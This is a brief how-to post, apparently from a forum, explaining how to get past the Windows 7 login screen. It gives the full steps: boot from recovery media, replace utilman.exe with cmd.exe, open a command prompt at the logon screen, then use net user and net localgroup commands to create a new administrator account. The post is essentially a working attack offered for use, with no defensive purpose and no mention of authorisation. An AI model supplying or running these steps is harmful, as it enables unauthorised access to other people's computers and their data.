Bypassing username/password in Win 7

Create Bootable USB Disk Windows 7

Boot as USB, look for System Recovery Option/ CMD

Utilize CMD to create in Logon Screen

copy d:\windows\system32\utilman.exe d:\
copy d:\windows\system32\cmd.exe d:\windows\system32\utilman.exe

Restart computer/laptop but this time boot to your hard drive

Press the icon lower left hand side. 

Pressing that icon appears the CMD prompt. Create a username

CMD: net user "UserName" "Password" /add

Add username to admin access:

net localgroup administrators "UserName" /add

sample screen caps 

Access newly created username, this time with admin access , Removed password of the Username. 

Done..